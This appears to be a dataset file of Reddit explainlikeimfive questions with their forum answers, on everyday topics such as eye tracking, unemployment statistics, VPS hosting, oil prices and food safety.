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2gmlqt | eye tracking. how does it work? | For my senior year (high school) science and engineering fair submission I want to develop eye tracking on glasses. My only problem is I have no idea how eye tracking works. Specifically I want to be able to determine how far away someone is looking. I do not care what they are looking at. So, ELI5: how does eye tracking work, and how can I use it to determine how far away someone is looking? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2gmlqt/eli5_eye_tracking_how_does_it_work/ | {
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"Keep in mind that this sub frowns upon answering homework questions. A big part of your project is learning how to do the research behind it. That being said, I'll give you a few pointers on where to look and a brief explanation. \n\nThere are a few ways that eye position can be found. Most the them either track the physical location of the eye or the impulses from the muscles that control it. \n\nOne method for instance uses IR imaging since the IR absorbance of the pupil is different from the surrounding tissue. Another way uses a standard camera and then a shape recognition algorithm to find the pupil (look up \"Hough circles\"). Still another way places electrodes at the sides of the eyes to measure the electricity given off of the eye muscles, which is actually a simpler build than it sounds.\n\nAs far as looking at the focus distance, this would be much harder to do. You could look at the shape of the lens using a camera, or the angle between the eyes, but I have not used anything like this in the past, so I don't know more specifics."
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1uwymj | the unemployment rate dropped like .3%, but was mostly due to people "leaving the job market." what exactly does that mean? | I heard this on NPR earlier, something like 350,000 people left the job market. How does that work? Is it just giving up finding work? How could you survive? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1uwymj/eli5_the_unemployment_rate_dropped_like_3_but_was/ | {
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"Most of the time people leave the job market because they are either young people living at home, people who's spouse work and they can reasonably survive without the second income, and people nearing retirement age who decide to retire early. That is, people that probably don't want to be unemployed, but could survive it.",
"This is due to a variety of reasons. It means they are no longer striving to become employed. They could have; retired, became pregnant, jailed, continued schooling, moved, or joined the wood nymphs to seek a better life in the forest. The number of reasons are endless, but as long as they made the decision to not work, they left the market. ",
"Quick answer: The labour force or job market does not include everyone of working age, it is selective. If you're unemployed for a while and just give up on finding work, you are now outside of the labour force. Unemployment stats generally only consider the size of the labour force, so the figures are much lower than they would be if they literally took everyone of working age and calculated the percentage that were employed.\n\nBelow is a more detailed answer, call it ExplainItLikeImInFirstYearMacroeconomics\n\nThe way statistics are computed varies from country to country, but I'll give you the Canadian version (which I believe is identical to the US method).\n\nWhen you hear something in the news that the \"unemployment rate\" is at such a percent, or changed so much, you are hearing about the *headline unemployment rate*. (There a number of different ways to measure 'unemployment' but I'm just going to focus on the headline rate.)\n\nBefore I start on the method, a really crucial thing to know about is the definition of the \"labour force.\" Generally speaking, the labour force is all persons of working age - 15 to 65, but sometimes everyone 15 and over - who are either employed, in school, unemployed *and looking for work*, or out of work but generally employed in certain seasonal occupations like agriculture. If an individual does not meet any of these criteria, they are not in the labour force.\n\nNote that the labour force is not just everyone in the population 15-64. As in my first example, if you lose your job and are unemployed but still looking for work, you are unemployed but still in the labour force. If, however, you give up looking for work then you are now outside the labour force and no longer counter as unemployed. In a similar vein, stay at home parents (who do not work part time or have a business that earns income) are neither employed or unemployed and are considered to be outside the labour force as well.\n\nBy way of example, say a country has 10 people living in it, 8 of which are aged 15-65. Three of them are outside the labour force by choice, say as homemakers or unpaid caretakers. Let's say that the remaining five people are currently employed. The headline unemployment rate is now 0%, huzzah for the government, full employment! \n\nBut, due to unforeseen economic factors, one person called Bill is laid off. That person collects EI and starts to look for more work, so the unemployment rate is now 20% (4 ppl *in the labour force* working, 1 person in the labour force is unemployed). Three months go by and Bill just can't find a job. His benefits expire and he just gives up on looking for work to do...whatever it is Bill does all day. But guess what, the unemployment rate is now back to 0%.\n\nWhy did the unemployment rate go *down* when Bill is still out of a job? It's because Bill is no longer counted as a member of the labour force. The labour force now only consists of 4 people, recalling that 2 are not of working age, and three were previously out of the labour force by choice. \n\nLabour force *participation* is another statistic to consider. This is closer to what people usually think about when they hear unemployment rate, but has its own twist: Returning to the example, before Bill got laid off the labour force participation rate was 62% (5/8). When Bill is unemployed but looking for work, the LF participation rate stays at 62%, since Bill is still in the labour force. Once Bill gives up after three months and leaves the labour force, LF participation goes *down* to 50%, even though the unemployment rate is back to zero.\n\nThis is why changes in unemployment rate can be misleading as a way to describe just how many people in a country are actually employed. It is possible for the headline unemployment rate to go down, even though from a societal standpoint more people of working age do not have jobs than they did in the previous reference period. Furthermore, these statistics do not reflect part-time vs full-time. Most people want to be employed full time, but during recessionary periods that can be hard to do.\n\ntl;dr Headline unemployment rates calculate the percentage of persons *in the labour force* who are not currently employed. There are other ways to calculate unemployment rates (such as unemployment benefit remittances, or changes in applicants), but the number you hear on the news may mean something different than what you think.\n"
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1br7rk | what is a vps service and what can i use it for ? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1br7rk/eli5_what_is_a_vps_service_and_what_can_i_use_it/ | {
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"By VPS do you mean Virtual Private Server?",
"A Virtual Private Server is a virtual machine hosted by a hosting company. They essentially provide you a complete server, usually either Windows or some flavor of Linux (CentOS, Debian, Redhat, etc.), usually pre-configured as a web server and database server using either IIS or Apache and MySQL., and typically controlled/configured via a web-based control panel, such as Plesk or CPanel.\n\nYou can use it like any other web hosting service, by uploading your content via FTP and pointing _URL_0_ at the IP address they provide you.\n\nA major difference between a VPS and a shared hosting solution is that you get all the resources available to an entire virtual machine rather than simply being an additional website handled by a pool of threads.\n\nBut the really nice thing about it is that because it's a complete virtual machine, you can log directly into the server using Remote Desktop if it's a Windows VPS, or SSH and other Linux mechanisms on Linux VPS. From there you can use it like any other computer and do things you wouldn't be able to do with a shared hosting solution, like set up your own IRC server or voice (mumble or teamspeak, for example), or run a game server (your favorite FPS, or Minecraft), etc. You can usually control the firewall via the web control panel to open up ports to those programs as well."
]
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6ecsyq | how do flavonoids, or plant pigments, affect our bodies? | Hey r/ELI5! I have a project on vitamin P, the group of flavonoids, for my chemistry class but I don't really understand how the body uses flavonoids. I know that flavonoids are basically plant pigments and they're responsible for the colors in fruits and vegetables. But how do these pigments affect the body? And how does the human body actually utilize these pigments? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6ecsyq/eli5_how_do_flavonoids_or_plant_pigments_affect/ | {
"a_id": [
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"Hey! Finally my PhD is useful. There is a short and a long answer. This being science, the short answer is obviously \"we don't know exactly\" but flavonoids are called as well antioxidants and this is because they oxidize really easily. The name might seem counterintuitive but if they oxidize within out body, that means that we don't oxidize. They take an electron from a free radical and keep it, making the free radical a normal molecule. Free radicals have shown to maybe have something to do with some cancers and aging so there's a chance that flavonoids help with that but the studies do not show that always. However they show some benefits against cardiovascular (fancy for heart) diseases and obesity. still the link is not entirely clear"
]
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[]
] | |
1mk8f4 | important keynesian economic principles | I'm reading his book, kinda hard to understand ("The General Theory of Employment, Interest, and Money"). Also, explanation as to the popularity of these principles in today's world (whether they are relevant or outdated) would be much appreciated. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1mk8f4/eli5_important_keynesian_economic_principles/ | {
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"He believed that there is a basic relationship between total aggregate consumer spending and the rate of employment; that is when the consumers spend more, there's more employment, and when the consumers save more, there's more unemployment. Many of his policy suggestions stem from this. Whether or not there is a relationship between aggregate spending and employment is contentious and often debated.\n\nKeynesian economics is the most popular economic school of thought at the moment and, for the most part, dominates politics. It is also the most common economic school taught at universities. The governments inflationary policies, stimulus, bailouts, and other policies, are all based on Keynesianism. In my personal opinion, it has been tried time and time again, and has shown to be a failure."
]
} | [] | [] | [
[]
] | |
4qzw67 | how does fiber optic submarine cables handle tectonic drift and depth? | Hey reddit,
After reading this article about FASTER _URL_0_ I was wondering how cables such as these handle tectonic drifting and the extreme depths of the Japan trench which is deeper than the height of Mount Everest.
Hope someone can eli5 my curiosity :) | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4qzw67/eli5_how_does_fiber_optic_submarine_cables_handle/ | {
"a_id": [
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"text": [
"Drift is slower than a snail, the cables have more than enough slack that they don't have to be adjusted for a long time. And they're not soft or hollow like us, so they don't get crushed by the pressure."
]
} | [] | [
"http://subtelforum.com/articles/google-faster-cable-system-is-ready-for-service-boosts-trans-pacific-capacity-and-connectivity/"
] | [
[]
] | |
19klx7 | what things could possibly happen if the government gets hold of people's dnas and makes a dna database for all citizens? | I know it'd be better for criminal investigation, but what else could they learn about for know from me that I should be aware of? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/19klx7/eli5_what_things_could_possibly_happen_if_the/ | {
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"The kind of DNA sample that would be used for a criminal DNA database does not provide any other information about you.",
"Not much really. Currently, the government makes a database based on less than 50 markers. These marker, if I recall correctly don't have much biological significance; they mutate relatively quickly to other sequences. Unless the government was to start sequencing everyone's genome with more detail, which the government does not have the technology or money for, they can't learn much. "
]
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2g6ej6 | if you make money from short selling a stock, where does the money actually come from? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2g6ej6/eli5_if_you_make_money_from_short_selling_a_stock/ | {
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"In short selling, our protagonist, Alice, pays Bob a small fee (let's say, $150) in exchange for Bob *lending her some shares of StockCo.* Let's say 100 shares, which currently trade at $35. Alice sells those shares to Charlie for $3,500.\n\nA month later, shares of StockCo are trading at $25. Alice buys 100 shares from Dave for $2,500, and returns them to Bob, ending the cycle. She has a profit of $850.\n\nWhere did the money come from? Well, obviously, it came from Charlie; he's the only person in our little story who ever gave Alice any money. Bob and Dave only ever *got* money from Alice. Charlie paid $3,500 for shares of StockCo that are now worth just $2,500. $850 of the difference ended up with Alice, $150 with Bob.",
"Say I borrow your bike, then sell it to a guy down the block for $140 bucks. I don't owe you that money. I owe you a bike. Later that year, the bike store has a sale. I buy back the same kind of bike for $135 and give it back to you. \n\nIn the end, you have the same model bike, and I get to keep the extra $5 I saved buying you a new bike. That extra $5 came from the guy guy who bought the bike from me."
]
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[],
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32ebpe | why isn't graphene distillation used to solve the californian water crisis? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/32ebpe/eli5_why_isnt_graphene_distillation_used_to_solve/ | {
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"text": [
"I guess it isn't widely available yet, if it was, we would see improved batteries with graphene. "
]
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3dh46b | do bristles of different length make any difference on a toothbrush ? | Using a new brush since the start of the week - I think. It has about 5 different layers of bristles on it. Does it make any difference to the cleaning of my teeth ? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/3dh46b/eli5_do_bristles_of_different_length_make_any/ | {
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"text": [
"The different lengths mean that it will better clean the nooks and crannies of your mouth. If there were no gaps between your teeth or they were perfectly smooth, one length would be fine. But since they're so irregular, you need the different lengths to get in those hard to reach places."
]
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[]
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1u54i6 | how can obama continue extend legislation deadlines (aca) without violating the separation of powers? | I understand he has the ability to use executive orders but who keeps these in check and isn't he playing the role of congress? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1u54i6/eli5how_can_obama_continue_extend_legislation/ | {
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"Sometimes, the law makes allowances for extensions and alterations, by the president or a department head. As far as I know though, those particular statutory time-frames don't have such allowances. \n\nHowever, Republicans had been asking for those delays for years now, and the administration had rebuffed them. Now that they are getting the delays, without the consent of congress, congress won't object too fiercely.",
"Basically Congress is often lazy when they write laws and so they put language in it that makes the implementation details and deadlines up to the presidential parts of government. \n\nIt basically sets up a framework that gets filled in by regulations. "
]
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4oau8s | what does a video game director do? | I've been reading up on here about what the role of a director is in TV and film, and I'm not quite sure how it translates to video games. How can a director control any shot when it's not a cutscene, if (especially in modern AAA games) the player can move to any number of places? And isn't in the concept artists who make mockups of what characters and settings will look like?
EDIT: For example, at Nintendo's talk with developers of the latest Pokémon games, one of the guys from Nintendo was introduced as the "director" of the games. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4oau8s/eli5what_does_a_video_game_director_do/ | {
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"A director would likely decides which direction the game will go in, such as defining the story and perhaps hashing out details of cutscenes and various game details.\n\nThat being said, I don't really know of any position that refers to an overall \"director\" for a video game. Maybe you meant one of [these](_URL_0_)?"
]
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[
"https://en.wikipedia.org/wiki/Video_game_director"
]
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2bujur | why do you smell someone a few seconds after you've walked past them? | It seems that you get engulfed in a scent a few meters behind the person. Why? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2bujur/eli5_why_do_you_smell_someone_a_few_seconds_after/ | {
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"Because that's where the air that's come into contact with their body is. As they move through the air whatever scent they're giving off mixes with the air they leave behind. You walk into that cloud of scented air, and smell it.\n\nThe air ahead of where they're walking hasn't touched them yet.\n\nThis assumes that there's no wind blowing. If they have a light tail wind, (that is, a wind coming from behind them) you may indeed be able to smell them before they get to you. That's how predatory animals hunt, by staying downwind of their prey so they won't be alerted to their presence."
]
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1js7kq | why can we taxidermy animals but not humans? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1js7kq/eli5why_can_we_taxidermy_animals_but_not_humans/ | {
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"[The body of Jeremy Bentham](_URL_0_) at UC London :)\n",
"we can, it's just not generally done because the creepiness multiplier is off the charts",
"I believe the uncanny valley may play a significant role as well."
]
} | [] | [] | [
[
"http://upload.wikimedia.org/wikipedia/commons/b/b4/Jeremy_Bentham_Auto-Icon.jpg"
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5z1gbc | what happens if the result of a us presidential election comes down to one state, and there is a tie in that state? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/5z1gbc/eli5_what_happens_if_the_result_of_a_us/ | {
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"text": [
"That would depend on the state. The states are responsible for declaring a winner in their elections and casting their electoral votes. The state would have to perform a recount, run a new election or do something else."
]
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[]
] | ||
5za4iv | how do the little touchpads work on smartphones when they only respond to human touch? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/5za4iv/eli5_how_do_the_little_touchpads_work_on/ | {
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"text": [
"It's not human touch, it's a change in capacitance near the screen (hence capacitive screens). An explanation of capacitance is a bit outside of the scope of ELI5, so just think it as vaguely related to electricity. A rule of thumb is that, if it's got an electric charge or is conductive, it'll work on modern touchscreens. \n\nTry headphone wires, or a metal stick. A metal stick is essentially what some of the more basic stylus are.",
"It works by capactive coupling. Your finger is full of blood, and blood is highly conductive. Under the screen is an array of charged capacitors (or one large one - I'm not sure). When your finger gets near the screen, the electrons in your blood are attracted to or repelled from the screen (depending on the polarity of the capacitor). Likewise, the electrons in the capacitor are attracted to / repelled from your finger. This coupling creates an electric field, which can be detected by a sensor. Literally any conductive fluid will work (salt water, for example). \n\nFun fact: the guys who invented that technology (Wayne Westerman and John Elias) taught my computer engineering courses when I was an undergrad. They [had a company](_URL_0_) that got bought by Apple and they became millionares overnight. "
]
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[],
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"https://en.wikipedia.org/wiki/FingerWorks"
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c8lje6 | why is it harder to open the door of a room when the ac is on? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/c8lje6/eli5_why_is_it_harder_to_open_the_door_of_a_room/ | {
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"The AC creates a positive pressure in the room, which pushes the door closed. As you open it into the room, you increase the pressure in the room further for a moment, which wants to force the door closed. If that’s what you meant.",
"Without much more context, my first guess is that AC rooms tend to be better sealed (windows closed etc) in order to save power and more effectively cool the room down. The initial opening (or even closing) of the door, the seal is still there and what you're trying to do is compress or decompress air - resulting in an air pressure differential from one side of the door to the other. Although that pressure differential is localized and small, the door's surface is large enough that the net force to overcome it can be felt.",
"Air is a fluid so you can think of it kind of like water. When you air condition a room making the air colder inside the air molecules shrink and more air comes in filling the room with more and more fluid. This fluid begins to build up pressure in the room and starts to look for a way to escape pushing against the walls and windows and doors etc. When someone opens that door they're pushing against a fluid that is trying to escape at the same time as being pushed inwards by the door. \n\nIf it's particularly hot outside the room sometimes the rate at which the cold air wants to escape will actually make you're normal door sound like a refrigerator door and make that \"suction\" sound as you open it. If you've ever been in a tropical climate there's a good chance you've experienced this.",
"If the door opens in, the AC pushes air out, this makes the door hard to open.\n\nI install door closers as part of my job. People often assume the heavier the door, the stronger the closer required, when in fact the hinges take the weight of the door, and the closer simply has to fight against the air resistance.\n\nThink of the door like a sail, the more surface area, the more air it has to move to close.\n\nThe opposite also happens - last week I installed a closer on a large door at a bakery. I adjusted the closer so it closed perfectly. Got a call an hour later saying the door wouldn’t close. Turns out they had turned the exhaust fans on once I left which sucked the door in, preventing the closer from closing it all the way. \n\nSometimes you might see vents on the bottom of doors on toilets. Most people assume it’s because of the smell. It’s actually because toilets are usually small rooms, and therefore the air pressure that builds up can make the door difficult to close. The vents help relieve the pressure so the door can close."
]
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3i0p5j | what is the legal immigration process like in the u.s? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/3i0p5j/eli5_what_is_the_legal_immigration_process_like/ | {
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"A nightmare. It's expensive and inefficient. I hold a green card from a k1 visa. They make it tough, to date, we paid about $15000.",
"I am American and my husband is Canadian. We were planning to get a fiance visa to bring him down but after learning that we'd have to be separated during that entire time and it could take anywhere from 6 months to 2 years....we decided to elope on his last visit here 3 years ago.\n\nFrom there, we had a few months to get the money before he legally had to go back. We spent $5000 in all (lawyer+fees) and it took approx 6 months. It was easy. We had to send in proof of our relationship, which considering we had been flying back and forth to see one another for 4 years, we had plenty of it. I saved plane tickets...had countless photos and even a scrapbook.... We mailed all that in, 5 months later we had the interview to finally prove our legitimacy. We were scared for the interview. My husband isn't so good with dates, I am. We wanted to make sure there was no silly reason to deny us. The interview was just us and our lawyer sitting in the office with the interviewer...she asked us conversational questions as she signed the papers. It was like a waiting room conversation.\n\nIt seems scary but for us it was easy. He has his green card, he works, never had an issue. We've been married three years. < 3"
]
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67asvh | why are fidget spinners popular? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/67asvh/eli5_why_are_fidget_spinners_popular/ | {
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"They help kids concentrate who have ADD/ADHD issues. I work at a middle school and lot of kids have them, and have seen improvement in their school work, surprisingly. \n\nHowever, its become a toy. The kid in the class who has one will attract the attention of everyone around them, making them a nuisance sometimes in the classroom. '\n\n\"oh, what brand is that one?\" \"what colors does it have?\" \"How long can it spin for?!\" \"how many buttons does it have?\""
]
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40r432 | the drastic drop in the price of oil. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/40r432/eli5_the_drastic_drop_in_the_price_of_oil/ | {
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"It is a result of over production and under demand. Because of the spread of viable alternatives, fossil fuel is being phased out by many nations. Scandinavia is now mostly fossil fuel independent. China is betting big with solar power. Europe is betting with nuclear fusion.\n\nUnder these circumstances, a very high oil price will give sufficient impetus for nations to wean themselves off of oil. If you keep the price low though, there would still be an economic incentive to keep using oil thus staving off the decline in oil usage.",
"* The oil price went over $100 a barrel.\n* At that price, expensive-to-extract oil such as fracked/oil shale became profitable to mine for the first time.\n* It takes a really long time to set up a new oil well.\n* There was an Oil Rush (like a gold rush)\n* Where thousands of people/companies wanted to get in on $100 a barrel oil, but weren't accurately judging how much competition they had from other frackers because so many were still in the process of getting their wells up.\n* [EDIT I better correct this point so I don't spread misinformation. Fracking wells can be turned off and on.]\n* Tens of thousands of new wells came online, and flooded the market with oversupply.\n* The oil price plunged.\n* All those fracking wells started making a horrible loss.\n* American fracking companies could not shut off their fracking wells without [EDIT...] making an even worse loss.\n* The Middle East, with traditional low-cost Sweet Oil wells, have the option to temporarily slow their own production, but chose not to because it is in their long term interest to keep their own market share.\n* The existing high-cost/fracking wells which are now unprofitable will be producing more oil for around another year.\n* No new oil wells are in the pipeline because of the low price, so in a few years time, oil supply is going to drop drastically.\n\nTL;DR\nThe oil price at $100 made expensive oil profitable to mine, there was a massive Oil Rush, now the market is so oversupplied the price has plunged, and the oversupply cannot shut down for a long time because of the nature of [Edit the economics of many] fracking wells.",
"The USA and Saudi can afford to pump oil at these prices Iran and Russia can not. Pure and simple.",
"The oil producing countries (OPEC) has been relying on oil for a long time and doing that was more than enough to make them rich.\n\nBut new technology (new drilling methods/ renewables) is increasing supply while demand for oil is getting lower.\n\nBut, these OPEC nations still need money to run their countries- problem is their economy is almost completely relient on oil revenues. Their livelihoods and future depend on it.\n\nDeveloping other sectors of the economy instead is a little too late/ costly now\n\nSo they have to keep pumping and selling oil, even if the price is going down.\n\nFurther, they figure, 'hey if we just flood the world with cheap oil, maybe these new guys with fancy oil drilling technolgy (like they are using in the US and Canada) that cost more will die off, and we'll have our oil monopoly again'- in a bid to further secure their future.\n\nbut then renewables are coming online.\n\nSo for now, they are pumping out as much as they can and selling as much as possible while slowy but surely trying to restructure/futureproof their economy to move away from relience on oil revenues",
"The drop in oil prices isn't caused by the Saudis flooding the market.\n\nYes, there is over supply, and yes, that over supply is causing prices to drop. But that's a result of other sources of oil hitting the market (US shale oil, for example).\n\nThe Saudis have traditionally been the world's swing oil producer. That means they keep prices stable by increasing/decreasing their production rates whenever there are changes in the world's supply. When Iranian oil left the market for example, the Saudis increased production to stop the price increasing drastically.\n\nWhat's happening now, is that the Saudis are resisting calls to lower their production. Lowering production would increase prices, so refusing the requests means the market remains oversupplied. Effectively, the rest of the world wants the Saudis to produce less, so the rest of the world can produce more.\n\nIt's a battle for market share and the Saudis are fighting to retain their share. It's costing the Saudis a huge amount of money to do so, but they are hoping their strategy works.\n\nThe Saudis want to force the new producers out of the market and as that happens, prices will slowly start to increase.\n\n\n\n\n\n",
"The OPEC nations also want to keep the price low because now that Iran signed the nuclear deal, their sanctions on exporting oil are lifted. Iran now stands to make a ton of money; however, keeping prices low limits their profits. \n\nAlso, as said before, they are keeping production up and therefore process low to starve competition out that require higher prices to be profitable.\n\nIf this all comes to a head (decreased production and competition) at once with prices jumping back up in a relatively short timeframe, it's going to reak havoc on the world economy.",
"No one seems to have said yet, but one of the reason OPEC countries are still pumping at 100% is that they want to oust the $USD as the main currency in the oil market... like just a few days ago India offered to lower interest rates to Iran if they accept all of India's oil payments in rupees. \nVenezuela probably got hit the worst by this.",
"The entire situation is 100% political. Also interesting from an economic stand point when you consider OPEC as well.\n\nOPEC have typically controlled the price of oil by increasing or decreasing their production rates. They have been able to do this because they control a significant portion of the total global production which has meant the rest of the world relies on these countries to supply oil (to an extent). However, as has been explained, by controlling the price and holding it high it has allowed more countries, whose costs to produce are high, to enter the market.\n\nNow politics:\n\nThe US has relied on Saudi for a long period of time for its oil, and Saudi has taken advantage of that in some ways. For the US not to be reliant on Saudi it needs to be capable of producing enough Oil and gas to be self sufficient. Which if i understand it, they have. This obviously makes Saudi un happy, they want to hold onto their market share, and so they start producing more oil, selling it for cheaper, to under cut the market. Saudi are producing at record rates, they haven't held their production levels constant, they have increased.\n\nIt is interesting to note that a lot of the countries that make up OPEC are struggling. For example, Venezuela had some problems before, but without money coming into their economy, things are getting grim. Nigeria is in a similar situation. Yet while these countries practically beg with the rest of opec to lower production it does not change.\n\nThe general idea is to hold the price as low as possible to cripple companies. It is not only companies that go bankrupt they are targetting, but companies looking to get loans, or explore new areas. Companies that go bankrupt will have all their assets purchased one way or another, the oil will not disappear. But to stop companies from starting 25 yr projects, even for a few years. Or to slow the drilling of new wells to keep production rates constant (as an individual well's production will decrease over time, so you drill more to keep a constant level). 2020 will be an interesting year... what Saudi didn't count on though was that the US is producing at an extremely low cost anyway. Not gulf state low, but still lower than the majority of the world. So not as many companies have folded completely as they predicted.\n\nOther fun politics: Russia supports Assad in Syria, in the face of the rest of the world. However, the middle east wants to run a pipeline to Europe to better supply them with oil/gas. This would go through Syria. Currently Russia supplys Europe with gas, via a pipeline through the Ukraine. By supporting Assad, Syria can veto the pipeline build (not that it would be particuarly safe anyway at the moment). Global oil is more politics than anything else.\n\nThe economics of OPEC are that funny, when you consider comparative advantage (pretty much where one country trades another in what they are best at), the middle eastern countries would be where the majority of our oil would come from anyway. They can produce it the cheapest, and then could sell it onwards.\n\n However, that advantage was how OPEC sort of came to be anyway, monopolising production and setting the price, allowing other high cost producers in, increasing the supply, annoying OPEC who drop the price, push all the high cost producers out so they can control the price again. It is a fun circle...\n\n Edit:\nIt isn't the whole story though. A perceived weakening in demand from China does not help the situation. The markets are extremely emotion driven at the moment which results in volatile movements in both directions of nothing information. In my opinion it is a bit of a disaster. Then there is the fact projects are approved on the basis oil price will always increase...\n\nTl;dr is Politics plays a huge role. Saudi wants control. The US wants control. Saudi controls OPEC who control the majority of oil produced. Holding high production levels above what the demand is reduces the price. It isn't the whole story, but it is a significant part of it."
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6134qw | why are subtitles in early pirate movie releases so weird? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6134qw/eli5_why_are_subtitles_in_early_pirate_movie/ | {
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"Would you please provide some links that show what you are talking about?",
"DVD releases come to the R6 (Asia) region before western countries, so early pirated copies will have subtitles in foreign languages that a non-native English speaker will then attempt to translate. Many of these subtitlers use speech-to-text software, and the typical hilarious mistakes these programs are prone to make, coupled with the fact that they first transcribe to their country's native language and then have it translated to English, makes for some pretty weird subtitles."
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32r3qi | why don't we use the hot water tap for hot beverages? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/32r3qi/eli5_why_dont_we_use_the_hot_water_tap_for_hot/ | {
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"The water from the tap is not hot enough for most people. But you can add a separate [hot water dispenser](_URL_0_) that will give you water got enough for tea or coffee. ",
"The temperature of the water tank is generally designed for bath safety, which is why it's generally between 100 and 120 degrees F.\n\nMost people enjoy their hot beverages closer to 200 degrees F.",
"We like our beverages really hot, enough that if you spill said beverage it might burn. You never want the water in your home this hot generally as its a safety hazard. \n\nAlso if you live in Britain or other parts of the world the hot water was not always guaranteed drinkable. [This video](_URL_0_) explains a bit about it, and so many were raised to not trust hot tap water.",
"How much energy does it take to heat the water enough to be hot enough for your beverage? Now imagine all the water in the pipe from the heater to the tap needs to heat those pipes so that by the time it reaches the tap so the water isn't cool. Now add it all the water that you lose flushing the pipes to get to that hotter water. Tons of energy lost for water that would be dangerous in the shower if you accidentally turned off the cold water. \n\nFaster, safer, more efficient to use a microwave. There are small heaters you can mount at the faucet to heat the water to scalding, usually they have a second tap so you don't burn yourself. ",
"For me, I've heard there's likely higher levels of lead contaminants when water is heated and put through the plumbing system. Of course, this all depends on how up to code your system is. "
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97llez | - why does light / images bend or curve in the infinite void created when two mirrors reflect each other? | I'm sure we've been inside elevators covered in mirrors on two opposing sides. Or perhaps in a bathroom.
How come, when looking into these mirrors, the light or the images insite the infinite reflection loop that is created curves and eventually gets too small? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/97llez/eli5_why_does_light_images_bend_or_curve_in_the/ | {
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"Basically its because the two mirrors are never perfectly flat and parallel with one another. The slight difference (which is probably significantly less than a degree) is multiplied with every subsequent reflection, so it doesn't take many repeats (of which you can probably see 30-40 or more) before the difference becomes very noticeable. \n\nPlus, the mirrors don't reflect all the light. Even a very good mirror reflects only 95% of the light, so every reflection absorbs 5'% of the light. That's why it doesn't take very long at all before the image darkens to the point where you can't see anything. "
]
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7hmi86 | why are text and disclaimers in ads/commercials allowed to be so small? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/7hmi86/eli5_why_are_text_and_disclaimers_in/ | {
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"The FTC governs this. There are not rules on exact fonts or sizes allowed, but the disclaimers must be in the same manner as the offer (ie, if the offer is text, the disclaimer must be in text, if the offer is verbal, the disclaimer must be verbal as well).\n\nThe standard for being applicable or not is \"is it clear and conspicuous\". obviously this is hugely subjective, but it doesn't mean \"does it really stand out\" only \"would a reasonable person be able to notice it and, if they wanted to, understand it\". some disclaimers that are too unnoticable have been legally challenged and ruled against.\n\nyou can notice most disclaimers, and if you try, understand them. The companies fudge the rules as much as possible to get is as small as possible while still probably being allowed."
]
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2qmuon | if a movie has grossed more than its production cost, and many years have passed since its release, why don't they make it freely available on youtube? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2qmuon/eli5_if_a_movie_has_grossed_more_than_its/ | {
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"Because they are still making money selling it, and they dont want to give it for free when they can still make money.",
"Because $100 million is less then $101 million. Everyone is money hungry. That's just my opinion.",
"The goal is not just to make *some* money, but to make *as much money as they can.* If there is still demand for the film, there is still a way to make money from it.",
"Because they still get money for showing the movie on tv or netflix. ",
"Production cost is not the only cost. There's also marketing and other manufacturing costs that are not publicly released, so just because a film has grossed more than its production costs doesn't necessarily make it a profitable film.\n\nThat said, until the work enters the public domain, the copyright holder still decides how, when, and at what price public displays of the work are to be made. YouTube generally isn't guaranteed profit simply given it's set up; currently the historical option is to sell the rights to cable/TV network who strategically show the films.",
"Because they still have paychecks to write, rent to pay, etc.",
"I'm gonna say something different to others. Whilst it's true about royalty etc., I think one of the main reasons is to make sure the films sell initially. Let's say the latest blockbuster is coming out and costs £10 for a ticket, plus petrol, snacks etc. If you knew that if you wait X years it will be free on YouTube how many would just wait? ",
"Because every time someone rents, buys or streams an old movie the studio still gets a royalty payment. Would you give away something that's still making you money?"
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athnk5 | why it's so difficult to spin something (e.g. a keychain) on your ring finger | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/athnk5/eli5_why_its_so_difficult_to_spin_something_eg_a/ | {
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"You don't have a lot of independent control over your ring finger (or your middle finger), at least not near to the extend that you have over your thumb, index finger, and pinky. You have specific muscles dedicated to moving each of those other fingers, but the only ones that move your ring and middle fingers also control the other fingers. You can still consciously move one finger at a time while using these multi-use muscles, but you won't have as much fine control. "
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f305bx | how come it's unsafe to defrost frozen meat on the counter? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/f305bx/eli5_how_come_its_unsafe_to_defrost_frozen_meat/ | {
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"The external meat warms up while the inside is still frozen this allows bacteria to settle and grow on the outside of the meat, while cooking will kill bacteria; as the bacteria are growing and multiplying they also produce toxins (basically the urine of bacteria) cooking doesn't destroy toxins, so while the dead bacteria in the meat won't kill you the toxins might.",
"I once had a family member thaw out meat for a week(bad idea btw) and half the house got bad samonila for a week or two."
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4dsbq4 | where does the term "booby trap" come from? falling into a concealed hole in the ground with spikes at the bottom doesn't make me think of boobies at all. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4dsbq4/eli5_where_does_the_term_booby_trap_come_from/ | {
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"I thought the [wikipedia explanation](_URL_0_) quite satisfying - it comes from the Spanish for foolish person.",
